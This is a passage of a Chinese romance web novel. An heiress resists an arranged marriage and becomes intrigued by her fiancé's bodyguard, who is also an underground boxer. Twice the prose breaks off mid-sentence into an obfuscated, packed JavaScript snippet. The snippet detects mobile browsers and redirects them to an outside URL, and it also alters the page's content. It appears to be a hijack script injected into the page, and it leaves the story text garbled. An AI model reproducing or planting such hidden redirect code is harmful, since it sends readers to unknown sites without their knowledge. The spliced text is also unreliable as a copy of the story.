《玩够了吗》 1. 程大小姐 晚上八点,程鸢开着以自己生日作为车牌号的银紫色911targa超跑驶入庸庸碌碌的车流当中。 精致修长的一双手操控方向盘,轮胎紧贴地面奔逐超车,仿佛正在冲破一切束缚。 红绿灯前,一辆黑色超跑与她平齐,对方降下车窗:“美女,车技不错,认识认识呗?” 刚才在路上又是故意别她的车,又是长摁喇叭,几次害她差点偏离路线。 程鸢憋了一肚子火从家里出来,这会儿是挺想骂人的,但对方不是。 绿灯,程鸢迅速踩下油门,一记漂亮的转弯甩尾直接与黑车拉开大段距离。 “今年第十号台风预计于今日晚间二十三点二十分在我市沿海登陆……” 风雨欲来,程鸢没有减速,一脸无所谓地点了广播切换,顺便把音乐声开到最大。 车内后视镜映出一张雪白昳丽的脸。 那张脸上的眼睛生得最漂亮,明眸灵动,像月光洒在清透如镜的湖面上。 可程鸢却喜欢在眼角画出微微上挑的眼线,改变眼睛原本的眉语目笑,透露出无尽高傲。 挺翘鼻,檀唇点朱,只要把那双目空一切的眼睛遮住,程鸢就是一个完美的浓颜系美人。 当然,这一切还得有个更大的前提,那就是她不张嘴说话。 车子最终停在一家酒吧门口,程鸢换上高跟鞋下车,把车钥匙抛给泊车小弟,踩着一尘不染的地毯走进去。 别看这家酒吧开在偏僻市郊,单看门口露天停车场停满的豪车就知道它的受欢迎程度。 外面同样的一杯酒卖两百块,换成杯比酒贵的水晶杯这里就敢卖两千。 程鸢从内场进VIP包厢通道,短暂的几步路四周已有目光追随。 “好辣的身材,那谁啊,浮华新来的舞伴?” 话一出,这桌人纷纷从二楼阁台往下看。 “谁请得起她当舞伴!” 当中有人认得程鸢,不自觉低下声音说:“那位可是程远集团的大小姐,敢拿她当舞伴,她能把浮华舞台给你掀喽!” 程家是澜市有头有脸的富商,听说往前数三代还跟红字当头关系匪浅,程方海对这位原配前妻生的女儿极其宠爱。 生而富者骄,生而贵者傲。 说的就是程鸢。 “天之骄女又怎么样,还不是不学无术,都玩到这儿来了!” “你管人家呢,反正人爹有花不完的钱给她!” 这张方桌旁路过了一个人。 处在光线昏暗的角落,看不清这人的脸,直到一楼舞台的追光忽然扫过。 线条优越的鼻梁,凌厉的侧脸,那双眼睛尤其的深而黑。 他似乎也随着这桌人的讨论而看了眼楼下,却只停留了一秒便极其冷淡地收回了目光。 * “怎么还没到……” 池之瑜不断抬头看包厢门的方向。 “程程该不会直接逃婚了吧?”一旁的齐好胡乱猜测道。 “八字还没一撇呢,不能够吧,而且程程也不是会选择逃跑的人。” 说话间,包厢门被侍者敲门推开,程鸢随后走了进来。 池之瑜扬起唇,“终于来了!” 程鸢在池之瑜和齐好中间坐下,话不说一句,先灌了自己三杯。 “哎呀你先别喝这么急!”齐好去抢程鸢的酒杯。 池之瑜观察程鸢的脸色,就知道她这一趟回家和她爹交涉以失败告终了。 齐好为她愁,“所以,真的一点商量的余地都没有了?” “我爸说我一个人扛不了程远集团那么大的摊子,那群股东老头们也不放心我,非要我跟人联姻,说什么互相帮衬。” 程鸢撇了撇嘴,懒得提,“我那个继母更是没少煽风点火,把我上次点八个男模给林老头五十大寿庆生的事儿捅到我爸面前了!” 程鸢口中的林老头是程远的股东之一,老头张口闭口就是,你们女孩家顶什么事。 既然这么瞧不起女人,行啊,那她就给他点上几个他最瞧得起的男人好好帮他庆生。 她这么善解人意又尊老体贴,搞不懂她爸有什么好生气的。 齐好给她出主意:“既然你这边解决不了,那要是温家愿意主动放弃联姻呢?” “没那么容易。”程鸢没骨头似的地后靠到沙发上,整个人液体化。 她向来高扬的眉眼少见地显露出一些惆怅。 这两年温家和程家达成了好几次项目合作,尤其近一年,两家关系更加紧密,家族联姻能让彼此牵绊更深,资源互换实现利益最大化。 “温泽楷刚从国外回来,很少露面,听说长得挺斯文儒雅的。” 池之瑜宽慰她说:“不然,你先见一见再说?万一人家长在你的审美点上,那不就皆大欢喜了!” 闻言,程鸢转着酒杯,神色缓了几分。 不联姻,她爸就要停她的信用卡,她自己倒是有小金库,可还不够她买两辆车的,由奢入俭难。 跟什么过不去也不能跟钱过不去,而且就像池之瑜说的,万一那个温泽楷长得还不错呢。 程鸢松口道:“行吧,那我就先见一见他。” 晚上十一点,台风提前登陆澜市,酒吧收到有关部门下发的立即停业通知,服务生正挨个包厢鞠躬请退。 “酒才喝到一半就赶客,这就是你们浮华的待客之道?” “老子生日歌都没唱完呢,这算个什么事儿!” 有的人顾忌暴雨回城难行,连忙便走了,有的则叫嚣着被扫了兴致,堵着闹事要说法。 程鸢喝了不少酒但还没醉,齐好醉得不轻,被她和池之瑜一手架着一边往外走。 音乐已经停了,灯光还是原来的暗调,人潮拥挤,程鸢不知道被谁撞了一下,摇摇晃晃就要往后倒。 “小心。” 有人伸手扶住了她。 程鸢下意识回过头,光线昏暗到她根本看不清对方的脸。 程鸢正要开口道谢,那道高大且模糊的身影已经在往后退,碰过她后腰不到两秒就撤回的手心似乎还做了一个擦拭的动作。 程鸢瞬间睁大眼:“?” 什么意思,嫌弃她? * 齐家有司机来接,顺便带来了两位代驾,帮忙把池之瑜的红色轿跑和程鸢的车子开回去。 程鸢没回程家,她自己在市中心有套常住的大平层公寓,是她亲妈留给她的。 到家匆忙洗了个澡,程鸢倒头就睡,被一通电话吵醒时是第二天上午。 程方海的秘书来提醒她,和温泽楷的见面午餐时间要到了。 见程鸢没有吭声,秘书把午餐时间又重复了两遍。 “唠叨的男人容易秃头。” “大小姐……” 沐慈哭笑不得。 沐慈和程鸢是大学校友的关系,程鸢除了是他老板的千金,还是他的小师妹。 沐慈压低声音说:“眼下程董盯得紧,你先去见见走个过场,别的之后再从中斡旋。” “知道了……” 程鸢困得要命,有气无力应,挂断电话就把手机一甩,也不管会不会甩下床。 房间里安静了五分钟,大床中央那团才重新有动静。 程鸢是趴着睡的,她把脸埋进枕头里狠狠蹭了两下,才不情不愿起身。 吊带睡裙的一边已经垂落到肩膀上她也不管,反正她是一个人住,不会被谁看见。 程鸢起床气很大,所以牙膏一直用的是最刺冷的薄荷味。 “嘶……好凉。” 她皱起眉头,还没伸进嘴里光闻味道就已经清醒了不少。 程鸢很喜欢打扮自己,她的妆台上摆着各种颜色的瓶瓶罐罐,衣帽间比主卧大,家里更是随处都摆放了落地镜。 一小时前还是蔫头耷脑的模样已经不见,明亮的大圆镜子里映出的是一朵开在暴烈阳光下的富贵花。 树莓紫的发色非常挑人,却衬得程鸢的肌肤白到透亮。 温泽楷才刚回国不到两周,鲜少露面,外界对他的评价不错是一码事,长得好丑又是另一码事。 而程鸢恰好是重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这要真是财产分割类的婚前协议也就罢了,可这里面却不是。 这是一份针对她个人的妇德指南。 “我温家规矩多,但是只要你愿意按照那上面的去做,我保证你能稳坐温太太这个身份。” 程鸢露出讥讽的一声笑,“你没事吧。” 这是她自进来后首次开口。 程鸢虽然长相冷艳,嗓音却偏甜美,又因为天生眼高于顶的气场,并不会产生违和感。 程鸢睨着温泽楷,“你是出门前没把脑浆摇匀,还是你怀里那两个姑娘喂给你的酒都成了你脑子里的水了呢?” 温泽楷一下就怔住了,“什么……” 程鸢伸出两根手指捻起这份所谓的协议,边看着他边撕成两半。 然后揉成一团,在温泽楷错愕的目光中投掷过去,直接命中他的眉心。 “程鸢!”温泽楷从沙发上站了起身,“你往哪儿扔呢!” “对着垃圾桶扔垃圾啊。” 程鸢扬起下巴,充满挑衅。 想象中的两方一言不合就开干的场面并没有发生。 温泽楷蠢蠢欲动的手臂被他身后伸出来的一只手给牢牢摁住了。 温泽楷不满呵斥:“你敢拦我?” 那人面不改色提醒:“大少,她姓程。” 程方海的程,程远集团的程。 温泽楷顿时脸色微变。 他今天搞这一出本来就是背着两家长辈要给程鸢立个下马威。 回国后温泽楷听到老头子给他安排的婚事,程远集团实力雄厚是不错,可程鸢却是个吃喝玩乐盛名在外的大小姐。 温泽楷眼高于顶,自诩配天仙都绰绰有余,程鸢的确容貌不俗,自她出现,温泽楷的眼神就不由自主被她吸引。 可他也绝对不容许自己的未来太太是个太有主见,并且在澜市的风头远胜过他的女人! 对比起温泽楷的恼羞成怒,程鸢一脸无谓。 她的目光已经落在了那名保镖身上。 他的声音似乎有点熟悉,可程鸢确信自己一定不认识他,否则长成那样的一张脸,她没道理记不住。 2. 野性的欲 程鸢把她爹打来的第三通电话也点了拒接,连带也不理沐慈。 最后实在听腻了来电音乐,她干脆关机,手机一扔,进浴室洗了个澡,出来时脸上已经敷着一张面膜。 程鸢仰躺在落地窗边的摇椅上,真丝睡裙的裙摆一角如水流倾泻到地毯上。 程鸢拿起只有几个好朋友才知道联系方式的备用手机。 “还规定你晚上十点前必须回家?这是哪儿冒出来的清.朝余孽,就这还海归呢!” 齐好听说了程鸢今天的奇葩遭遇,正在她们的三人群里疯狂输出。 池之瑜刚从一个漫长枯燥的会议上下来,得知此事,也加入:“可不就是海归呢嘛,真活王八!” “程程你干嘛不告诉你爸啊!叔叔要是知道温泽楷是那种人,肯定就不会再逼你联姻了。” “不急。”程鸢对着镜子抹了抹浮起来的面膜边缘。 她现在电话不接信息不回,该着急的人是她爸。 联姻这件事对她爸来说是势在必行的,结果没办法更改,改变的只有人选。 可是谁知道下一个会不会比温泽楷还不是东西,她不如先拖着,不说好也不说不好,让他们猜去。 不过也不是全无收获。 时间到,程鸢揭开面膜,用指腹往自己滑嫩的脸颊上慢悠悠按摩着。 她想到了那个保镖。 年轻清隽的一张脸,却有着宽肩窄腰的身材,尤其他侧过身阻拦温泽楷的那个动作,一身黑衣下的背部肌肉精悍结实。 从长相到身材都很养眼。 完完全全长在了她的审美点上! 只可惜跟在温泽楷身边,她恐怕难见第二面了。 “先别管他了,程程。”池之瑜发出了语音通话邀请:“我带你去散散心吧。” “去哪?” “去看Archer比赛!” 齐好听了就在那边笑。 程鸢也勾起唇,“那叫散我的心吗,那是你的甜心。” 程鸢起身洗干净脸,没化妆,挑了条新裙子换上,她懒得开车,池之瑜来接。 目的地在澜市城郊的一家会所,地面五层是寻常的餐饮酒店休闲区,地下却是一家人气很高的泰拳馆。 地上五层低消超过五十万才可以去地下一层观看泰拳比赛。 池之瑜口中的Archer是这家拳馆里的明星选手,PK胜率非常高,当然长得也不错。 池之瑜给他砸了不少钱。 “晚上好,欢迎您。” 比赛还没开始,内场灯光偏暗调,唯有一束白炽追光打在拳台上。 有清洁人员在做着准备工作,穿着性感皮衣的侍应生则站在入口处迎客。 每晚十点比赛才会开始。 程鸢和池之瑜九点五十进场,这个点人最多,摩肩接踵。 程鸢今晚兴致一般,本来想要个倒二的位置,但想到池之瑜是冲着Archer来的,便加钱刷卡要了观看视角最好的中间位。 池之瑜去了后台,程鸢则咬着饮料吸管独自坐在位置上。 观看区和后台中间有着严格的安保程序,观众可以进去私见选手,前提是选手同意,再经过两道搜身。 程鸢百无聊赖,随意扫了眼后台入口想看池之瑜什么时候回来,却瞄到了一道似乎有点熟悉的背影。 她眨了下眼睛再往那边看过去时,却只剩穿着统一的侍应生穿梭其中。 刚才的匆匆一瞥仿佛是错觉。 “程小姐,晚上好。” 侍应生拿来名册给程鸢,可以指定选手出场。 程鸢回过神,没接,说今晚不需要。 又过了将近十多分钟,池之瑜背着双手一脸心花怒放地从后台走出来。 程鸢已经看完了今晚的第一场比赛,正无聊到在打哈欠。 “看来跟你的Archer聊得很不错。” 池之瑜笑着,“还可以,不过他今晚不会上场了。” “那我们也走吧。”程鸢今晚实在没什么兴致,还不如去浮华喝两杯呢。 可就在这时,拳台响起了新一轮开局的音乐声,本局的两名选手一前一后走了出来。 程鸢的目光落在最先走出来的那名选手身上。 他的身材和跟在他后面进来的对手的身材有很大的不同,并非拳击运动员那种膨硕的肌肉。 他穿得很严实,只露出两条手臂,皮肤暖白偏自然色,臂肌线条清健流畅。 他的头上戴着一顶黑色拳击头盔,把整张脸都遮住,只露出眼睛可视区域。 程鸢近视一百多度,今晚没戴美瞳,距离加上灯光的原因,她只能模糊地看出那是一双深而黑的眼睛。 程鸢重新坐了回去。 池之瑜扭头,“嗯?不走了吗?” “再看一局。” 池之瑜也跟着坐下,她往台上看了眼,笃定道:“那个人一看就是新来的。” 一般身上防护装备齐全的都是新人选手,比较惜命。 台下观众也是这么想的,于是都在为另一名选手鼓掌喝彩。 ‘新人选手’目光平静地扫过台下,在中间观众区有短暂两秒的停留,随后拿起拳套戴上,手臂青筋渐渐紧绷,进入迎战的状态。 场上暗了下来,唯有拳台顶上有灯,比赛正式开始。 另一名选手是老牌拳击手,一脸轻蔑地看了眼他的新手头盔,像在嘲笑没断奶就出来打架的小朋友。 他丝毫不手软,开局就出招狠厉,却没想到那人反应更快,一个利落的侧闪躲避,紧接着就扫踢反击。 他十分果断的闪避加回击连贯动作看得观众一阵哗然。 全场观众的目光从这一刻开始转移到了他的身上。 除了程鸢,她是从一开始就只盯着他看的。 老牌选手似乎也没料到,他立刻爬了起来,调整状态后立刻伸出左拳往他的头部攻击过去。 ‘新人选手’再次侧避身体与他的拳锋擦肩而过,同时立刻上扬右臂肘击下落,重击对手的头颈处。 几个来回下来,‘新人选手’的得分一直在增加,最后一个跃起砸肘,老牌选手晕眩倒地,裁判蹲下拍打地板开始倒数。 对方捂着胸口哀嚎,倒数结束。 刺耳的哨声响起,出场没人看好的新人选手赢得了本场比赛的胜利! 他的黑色上衣已经被汗水浸透紧贴在身上,块状腹肌和人鱼线条隐约可见,手臂青筋也仍处在充血偾张的状态。 高大又充满力量感,他浑身上下都散发出一种野性的欲,引得满场喝彩尖叫。 程鸢心跳飞快,目不转睛,连她这种对暴力美学并不多感兴趣的人也看得热血沸腾。 本以为那人会在宣布胜利后摘下头盔,毕竟想要成为明星选手总得向观众露脸介绍。 可他却直接转过了身,丝毫不在意场下观众的欢呼挽留。 程鸢看见他解开了左手上的拳套。 他的手掌很大,仿佛只用一只手就能把她的两条手腕牢牢握住。 很快,那双手包括那个人都消失在了黑色幕帘里面。 “太精彩了!” 池之瑜的脸上也有着激昂,“那个人到底是谁啊,怎么感觉跟我们家Archer不相上下!” 程鸢翻开选手册子,却发现上面压根就没那号人。 池之瑜凑过来看,“那个人没有190也有188,跟这上面的都对不上……” 也有别的观众在追问,侍应生只好解释说对方是临时聘请来的选手,并不常驻在他们拳馆,以后也鲜少会出现。 最后那句话像是刻意强调。 总而言之他是个神秘人。 “今天怎么上场了?” 后台走廊一间需要密码锁才能进来的休息间,柯彻抬头问边卸头盔边走进来的男人。 “太久没打,活动筋骨。” 洛聿把头盔和拳套随意扔到了沙发上,脱掉被汗水沾湿的上衣,打开墙角的衣柜拿出一件全新的黑T。 “那怎么还戴上头盔了?还是新的。” 柯彻挑了挑眉,“唷,连拳套都是新的,不知道的还以为你是在孔雀开屏给谁看呢。” “想象力别太丰富。” 洛聿拿上衣服进了里间的冲澡间。 十分钟出来,男人额前乌黑短硬的碎发湿润,他伸手随意往后拨弄,露出一张眉目冷峻的脸。 柯彻将一个黑色U盘递了过来。 “拍好了?”洛聿接过。 “当然。”柯彻把玩着手上被养得肥嘟嘟的豹纹蜥蜴。 “那小子可真够狂的,一开口就是八位数。” 温泽楷出国留学期间,温家二房他那几个堂兄弟趁势在温氏集团站稳了脚跟。 温泽楷空有长房长孙的名头,却没有多少真才实干。 但只要钱花下去,集团内部多的是反水支持他的股东。 “他人呢?” “楼上喝着呢,估计快高了。”柯彻拎起一支飞镖往墙上射过去,“要你给那孙子当保镖也太憋屈了,什么时候才能弄他?” “不急。” 洛聿把U盘揣兜,“先走了。” * “打得是不错,但仔细想想,还是没有我们家Archer好!”池之瑜端起饮料喝了两口,润一润刚才险些喊破喉咙的嗓子。 “头盔又不肯摘,估计长得也不怎么样。” 程鸢对此不置可否,虽然她一向自诩看人只看脸,但那样矫健挺拔的身材,她有预感他头盔下的那张脸也一定不差。 “对了,Archer说打完这个月他就 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池之瑜接过,眼神在程鸢和徐时鸣身上打转,“多谢,我沾光了。” 目送池之瑜上车离开。 “我们也走吧。”程鸢说道。 “等等——”徐时鸣握住了她的手臂,“程程,我听说你最近遇到大麻烦了。” “也不算很大,怎么了?” 程鸢根本没有把温泽楷放眼里。 徐时鸣顿了顿,试探性地说道:“要不然我帮你一把?” “怎么帮?” “跟我联姻。” 程鸢愣住,“哈……?” 徐时鸣的神色多了几分认真,“说真的,嫁给我你只有好处,我保你自由,程叔也不用再催你了。” 程鸢笑了,“不是徐时鸣你说什么呢?!” 她完全没有办法想象跟见过对方穿纸尿裤,换门牙期说话漏风,把彼此从小到大的各种糗样都看过的铁哥们搂在一起步入婚姻殿堂是什么感觉。 更别提还要接吻上床。 程鸢光想一想浑身的鸡皮疙瘩都要起来了! 在她看来,只有求知欲和神秘感才能刺激多巴胺分泌。 比如今晚那个新人拳击手。 他越是戴着头盔把自己围得严严实实,程鸢就越是好奇他摘下头盔后的样子。 只可惜人家只是拳馆里临聘的选手,出场率玄乎,她倒是可以砸钱,就像池之瑜捧Archer一样。 但偏偏她最近时运不济,还有个联姻重任压在头上,要是被她爹知道她吃喝玩乐就算了,还砸钱包地下拳击手玩儿,估计会更加紧锣密鼓地压着她去结婚。 “怎么,少爷我舍身取义你还看不上,嫌弃我啊?” “我就嫌弃,谁让你提馊主意,还不如帮我订机票让我有多远跑多远呢!” 程鸢浑然没察觉徐时鸣眼底一闪而过的晦暗,一心只以为他在故意揶揄。 “没问题,只要你指个地儿,我立马安排私人飞机,保证带你离开。” 徐时鸣伸出手臂搭在程鸢的肩膀上,半揽着她走到车前,为她开门,抬手挡在门沿让她上车。 “洛哥,你在哪呢?大少喝多了正……正闹呢!我们几个都劝不动他!你快过来吧!” 迈巴赫驶入回城柏油大道,钻石矩阵切割的大灯由亮到暗,直至彻底消失。 洛聿收回目光,语气平静地对电话里说:“知道了。” 温泽楷在拳馆楼上三层的会所包厢里,一屋子五六个公子哥都喝得不省人事被自家保镖司机抬走了。 只有温泽楷还在那儿抓着一个眼睛已经哭红的女服务生不放。 听他话里骂的那几句,像是把那个女服务生当成了落了他面子的程鸢。 洛聿从电梯里走出来,把站在包厢门口一脸进也不是走也不是的经理推了进去。 洛聿拎起沙发上一件不知道谁的外套披在那个被温泽楷扯得衣衫不整的女孩身上,拽着她的手臂把人带了过来。 “谁啊?!” 温泽楷一把推开挡在自己面前的经理,踉踉跄跄地站起身。 “洛聿?你他妈少多管闲事!” “要不是……看在你是我爸派来的,我……嗝,我他妈早把你开了!!” “白天你就帮着程鸢。” 温泽楷抬手指着藏在洛聿身后的女服务生,“现在又来管她的事儿,你们……你们是不是有一腿!” “你也不想想你什么身份?你配吗!” 洛聿对温泽楷的咆哮只字不言,抬手伸到他的后颈匀力一劈。 温泽楷眼睛一闭,整个人软跌回了沙发上。 3. 咬上一口 “这……大少怎么了?” “醉了,抬回车上。” “行行行,快来搭把手!” 温泽楷空有斯文儒雅的长相,私底下却傲慢脾气臭,这两名保镖每天都是上班如上坟的状态,直到洛聿被派过来和他们一起保护温泽楷。 洛聿虽然沉默寡言,但行事果断,加上又是温董派过来的,因而他们两个都很听他的。 “好了好了,别哭了,当初是你说的嘛,家里老娘等着治病钱,想要来钱快的岗位,所以我才安排你进包厢给客人倒酒。” 经理抽了张纸巾递给面前的女孩,“那些都是金贵的主儿,喝多了难免动手动脚,再说了,出来做事哪有不受点委屈的。” 女孩握着纸巾抽噎着,一时说不出话。 经理的手机忽然响了,是高层领导发来的信息。 “算你幸运,老板竟然也知道了今晚的事,他老人家发话了,给你换个岗位!” 女孩抬起头,“可是,我的工资……” “放心,工资不变,另加两千块当作今晚的安抚金,可以吧?” 女孩连忙把眼泪一擦,感激道:“可以可以!” * 迈巴赫停在公寓楼下,程鸢解开安全带。 徐时鸣问她:“不请我上去坐坐?” 程鸢挥手说:“困得要死,改天。” 徐时鸣沉沉一笑,说好。 他没有发动车子,一直看着她的背影直到消失,最后降下车窗,点了根烟坐在车里。 周二,工作日。 上午十点三十,程鸢戴着墨镜踩着高跟鞋出现在程远集团。 “新色号,试试。” 程鸢从包里拿出几支没拆封的口红送给前台的几个小女生。 “哇!谢谢大小姐!” “不客气。”程鸢摘下墨镜,接过她们回送的三明治,“刚好还没吃早餐。” 程鸢虽然来集团上班是三天打鱼两天晒网的频率,但跟这些小姑娘的关系却很好。 她对内其实没什么大小姐架子,出手也大方。 而前台这个岗位看似微小,却掌握着集团上下各种八卦消息。 比如她继母前脚才出现在公司,后脚她就收到了她爸打来追问她给林董寿宴点男模的电话。 除了是她继母告状,没别人。 “大小姐,都打听好了,林董今天的会议安排是这几个。” 女孩拿起平板给程鸢看,“只要您避开这几个时间段就不会见到他了。” “避开?我才不。” 程鸢眼尾上扬,“我爸让我去跟他老人家当面道歉,是他一直在避着我。” 程鸢抬手看了眼自己的腕表,“现在这个点他快开完第一场会议了吧,他的办公室是哪间来着?” “八楼第一间。” “行,走了。”程鸢重新戴上墨镜。 女孩们目送程鸢进电梯的背影,纷纷在心里为林董默哀。 “大,大小姐?”林董推开门就被里面骤然出现的身影给吓了一跳。 “你在我办公室里干什么?” “林董,我不该在你五十大寿当天请男模去给你唱难忘今宵,还请你大人不记小人过,别跟我这个晚辈计较了。” “你这道歉是真心的吗?” “当然是了。” “那……”林董咽了咽喉咙,“那你能先把我的金钱木给放下来吗?” “你说这个啊。” 程鸢掂了掂手里绿油油的盆栽,“早就听说您闲时最喜欢侍弄花草。” 程鸢用手指拨弄了两下叶子,“养得不错。” 林董的眼睛一错不错地盯着她的动作,生怕她直接上手把叶子薅秃,或者来个落地碎盆摔。 直到宝贝金钱木被安然无恙地放回了台面上,林董才暗暗松了口气。 “大小姐。” 沐慈找了过来,“程董要见您。” “哦。” 程鸢拍了拍手,拎起自己的羊皮小包包,“林董,那我就先上去了。” “好好好,你去吧去吧!” 林董恨不得她赶紧走。 人一离开,林董赶紧走过去抱起自己的宝贝金钱木,左看右看,安然无恙,一片叶子也没有被拔掉。 现在的年轻人真是惹不起啊。 林董余光一瞥,忽然发现他的桌上多了一只绿色的瓶子,他把瓶子拿起来看了看。 ——金钱木专用营养液。 林董愣住,随后摇头一笑。 怪不得程董拿这个女儿没办法呢。 * “程董,您找我啊。” 程鸢的红底黑色高跟鞋踩在干净到反光的地板上,踢踏踢踏充满了节奏感。 “怎么,爸都不叫了?” 程方海五十出头,面容浩气英风,并没有多少岁月的痕迹,尤其眼神依旧沉稳坚毅。 程方海的办公桌上除了文件,唯一的一件私人物品就是一个相框。 上面是程鸢大一开学站在校门口的照片,阳光正好,她手捧一束紫色鸢尾花,笑容明媚灿烂,是他引以为傲的女儿。 程方海常用的钢笔笔杆是皮粉色的,堂堂程远集团的董事长,签字笔竟然是这么少女的颜色,原因无他,这支笔是程鸢送的。 除此之外,程方海办公桌下的第一个抽屉里还摆放了一个小浣熊的玩偶。 是时年背着黄色双肩包戴着黄色渔夫帽去上小学的小程鸢送的。 “爸爸上班辛苦啦!这个可爱的小浣熊就是我,爸爸带去放在办公室里吧!就当作是我陪着爸爸一起上班!” 于是这个小浣熊就一直被程方海放在了抽屉里,平时他会拿出来亲自擦拭灰尘,从不假手于人。 “穿这么高的鞋子还走得那么快,也不怕摔了。” 程鸢倚在一个矮柜边上,嘴里咕哝着:“那不正好,我摔了就跑不了,您直接推着轮椅送我去婚礼现场,一步到位。” “说什么呢!” 程方海当即皱起眉,摘下鼻梁上的银边眼镜,站起身,亲自给女儿倒了杯热茶。 “你要是没瞧上温泽楷,澜市多的是青年才俊,再选选。” 只能再选选,不能不选。 程鸢听懂了,她爸铁了心要她嫁人。 程鸢把茶杯一撂,转身。 “去哪?” 程鸢头也不回,“不打扰程董,我回我自己的办公室上班!” 说是要上班,但程鸢的总经理办公室形同虚设。 她爸和那些股东们其实也没说错,她的确管不了那么大的集团,更不爱跟一群大老爷们吃饭喝酒吹水谈生意,枯燥又无趣。 但其实她自己私底下有在投资一些项目,大多数是池之瑜那边推荐的,她自己再从中精选。 大概是天赋使然,她从来只赚不亏,多看几眼就能判断哪支是真正的优势股。 打游戏,摇人喝下午茶,待了不到两小时,程鸢哼着歌起身离开。 落地窗前,沐慈眼看程鸢就要上车走人。 “程董,需要把大小姐拦截回来吗?” “由她吧。” 沐慈想了想,劝说道:“大小姐才二十二岁,还小,玩心重,大概过多两年才会有成家的打算吧。” “我何尝不知道。” 程方海背手站在窗前叹了口气,“两年太久了。” * 澜市沿海,是著名的旅游城市,台风过境才没多久,气象预报又开始预警有新的风球即将形成。 程鸢和齐好约在一家她们常去的甜品店,吃了两口却发现不对。 招来服务生一问,原来只是招牌还在,上至老板下至内部甜品师全都大换血。 “难怪这么难吃……” 就连最喜欢吃小蛋糕的齐好都放下了勺子。 程鸢喝了口口感还过得去的柠檬水压下嘴巴里的甜腻味。 她看了眼窗外,想起什么。 “我记得上次之瑜带回来的苏式糕点就是在这附近买的,还挺好吃,不然咱们去买两盒?” “好呀,走走走!” 齐好刚应下,手机就响了。 是家里的保姆打来的,说她新养的小仓鼠和原住民小仓鼠在打架,新的小仓鼠没打赢还受了点伤,现在连它最喜欢的西兰花都不啃了,正缩在角落里委委屈屈。 齐好顿时听得心软软,“可怜的宝宝,我马上回来!” “那我去买糕点,一会儿送你家去。” 齐好立刻给程鸢发了张好人卡,还说要让两只小仓鼠认她当干妈。 程鸢婉拒:“倒也不必。” 齐好的驾照还没考过,家里的司机和保姆车等在外头把她接走了。 程鸢也上车,输入池之瑜给的地址导航过去,不远,几分钟车程。 然而刚到目的地,天色就阴了下来,雨丝飘落,还有越下越大的趋势。 程鸢把车停在路边,犹豫着还要不要下车去买糕点。 但有句话叫作,来都来了。 糕点店就在不远处,青石板路开不进车,她撑着把透明伞推门下来。 这边原来是老城区,做过城市仿古改造,平时还有游客光临。 但这两天的天气实在鬼畜,一会儿下雨一会儿暴晒,路上没多少行人,很冷清。 经过某个更加昏暗的巷子口时,余光瞥见里面有四五个身影浮动,程鸢照常往前走了两步,觉得不对劲,又后退回来。 流氓地痞模样的四个男人围着一个头戴黑色棒球帽的年轻男人。 一道闪电忽然劈落,天光大亮,程鸢也借势看清了那里面的混乱情况,眼睛倏亮。 被围殴的竟然是温泽楷的那个保镖? 洛聿似乎也看见了她,他皱起了眉,分神的瞬间便被对方偷袭,侧脸下颌挨了结结实实的一拳,整个后背往斑驳的墙上撞了过去。 “住手——” 程鸢冷喝一声,举起手机走了进去,“我已经报了警,也录了像,现在不滚我保证你们五分钟后就会坐在派出所里痛哭流涕!” 四个男人回头看向程鸢,撞上她高举拍摄的手机立刻又把脸转了回去,“点儿背,我们走!” 见他们从另一边的巷口离开,程鸢瞬间松了口气,把手机收起来。 时间紧急,她根本就来不及报警,也没见过这种场面,情急之下只能想出装样子吓吓他们。 细尖的红底高跟鞋踩过湿漉泥泞的小巷路,程鸢停在他面前,撑着伞弯下腰。 “好巧啊,你还记得我吗?” 有风刮过,伞不顶事,她以身挡住飘絮的斜雨。 “程大小姐。” 洛聿站起身,嗓音低沉无波,不着痕迹地往后与她拉开距离。 程鸢撑着伞靠近,“他们为什么要打你啊?” “不知道。” “哦。” 程鸢眨了眨眼,瞥见他鼻梁上沾了点泥渍,她伸出手。 洛聿反应很快,迅速偏头避开她的指尖触碰,面无表情地盯着她。 程鸢收回手,从容一笑,“别紧张,你脸上脏了。” 小巷昏暗,她的肩膀被雨水洇湿了一块,雨珠溅落到泥地回弹在她昂贵精致的高跟鞋上,甚至有几滴溅在了她光裸白皙的小腿上。 养尊处优的她恐怕从来不曾有这么狼狈的时候,却还有心情笑。 洛聿移开目光,语气冷淡,“程小姐不该来这种地方。” “这种地方怎么了。”程鸢勾起唇角,“我偏要来。” 偏要来近距离的瞧瞧你。 他的侧脸下颌有点青肿,程鸢扭头看了眼外面的街道,想起刚才路过了一家二十四小时便利店。 “你跟我过来。” 程鸢把伞递给他。 洛聿没接。 “拿着呀,你长得这么高难道要我给你撑伞吗?” 洛聿默了两秒,避开与她的手指产生直接触碰,接过伞柄上沿。 程鸢却一眼看见了他手背上正在渗血的擦伤,她拧起眉。 伞叶几乎全部倾斜到程鸢头上,两人中间保持着足有半米的距离。 程鸢没注意到这个,她走得很快,进了便利店就指挥洛聿去那边靠窗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438325|169305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置等她。 程鸢买了碘伏棉签和创可贴过来。 她没用过碘伏棉签这种东西,翻看说明书,“彩环朝上,轻轻掰断……” 洛聿一言不发地盯着她。 低头认真看说明书时她的眼睫毛也跟着半垂落下来,浓密卷翘,一下下地颤动着。 见管内的碘伏已经浸透到棉签末端,程鸢抬头看向他,“手伸出来。” 洛聿没动,“不用,我没事。” “我刚刚可是救了你,你就这么对你的救命恩人吗?” 要不是她忽然出现,他未必会挨打。 洛聿瞥见她肩膀洇湿的那块已经剩下一点,但还没完全干透。 程鸢的耐心本来不多,但是看在他那张脸的份上,可以多一点,于是她直接把他擦伤的手拽出来放到台面上。 